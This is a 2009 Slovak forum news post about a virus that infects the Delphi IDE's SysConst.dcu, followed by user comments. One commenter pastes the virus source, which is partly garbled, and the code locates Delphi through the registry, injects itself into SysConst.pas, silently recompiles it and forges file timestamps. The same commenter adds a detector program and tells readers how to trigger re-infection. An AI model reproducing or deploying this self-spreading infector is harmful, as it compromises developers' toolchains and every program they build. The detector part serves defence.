Win vírus infikuje vývojové prostredie Delphi

18.08.2009 | 20:52 | dodoedo | Novinky

Kaspersky oznámil existenciu špeciálneho typu Win vírusu, infikujúceho vývojové prostredie Delphi (konkrétne súbor SysConst.dcu) verzií 4.0, 5.0, 6.0 a 7.0. Od toho okamihu všetky programy kompilované v Delphi ako .exe súbory, sú infikované týmto vírusom. Na myšlienku, prepašovať malware kód do C-kompileru a tento fake C-kompiler použiť na tvorbu malware, prišiel už v roku 1984 Ken Thompson. Zdroj správy na h-online.com.

    • Re: 19.08.2009 | 11:51
      Avatar Zefram Cochrane MS Windows Vista Ultimate 64bi  Používateľ
      No pekne. Prave sme zistili ze cela firma je zavirena, milion programov. Ked to chceme odstranit musime nielen prekompilovat ten zdrojak, ale vsetky nase programy, a popritom nesmieme spustit ziaden iny nas program. Tu je cely zdrojak toho programu (je to z dcucka takze je tam nejaky binarny balast):

      uses windows; var sc:array[1..24] of string=( ˙˙˙˙P function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i] ˙˙˙˙P =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; ˙˙˙˙P h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin ˙˙˙˙P h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle ˙˙˙˙P (h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile ˙˙˙˙P (f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while ˙˙˙˙P not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0 ˙˙˙˙P then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2 ˙˙˙˙P ,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2, ˙˙˙˙P x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$ ˙˙˙˙P )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f. ˙˙˙˙P wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, ˙˙˙˙P f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), ˙˙˙˙P pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3, ˙˙˙˙P 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:= ˙˙˙˙P CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h, ˙˙˙˙P @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of ˙˙˙˙P char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx( ˙˙˙˙P HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then ˙˙˙˙P begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:= ˙˙˙˙P 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+ ˙˙˙˙P $.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;
    • Re: 19.08.2009 | 12:15
      Avatar Zefram Cochrane MS Windows Vista Ultimate 64bi  Používateľ
      program Skener; // detektor zavirenosti sysconst.dcu, odporucam kompilovat pomocou FPC :)))
      
      {$apptype console}
      
      uses
      	SysUtils, 
      	Classes;
      
      begin
      	while true do
      	begin
      		Sleep(1000);
      		with TStringList.Create do
      		try
      			LoadFromFile('C:\Program Files\Borland\Delphi7\Lib\sysconst.dcu');
      			write(TimeToStr(now),' ... ');
      			if Pos('var sc:array[1..24] of string',Text) > 0 then
      				writeln('zavireny')
      			else
      				writeln('cisty');
      		finally
      			Free;
      		end;
      	end	
      end.
      
      • Re: Re: 19.08.2009 | 12:20
        Avatar Zefram Cochrane MS Windows Vista Ultimate 64bi  Používateľ
        Na opatovne zavirenie je potrebne zmazat C:\Program Files\Borland\Delphi7\Lib\sysconst.bak a spustit zavirene execko, virus totiz testuje existenciu tohoto suboru a ak existuje tak sa nespusti.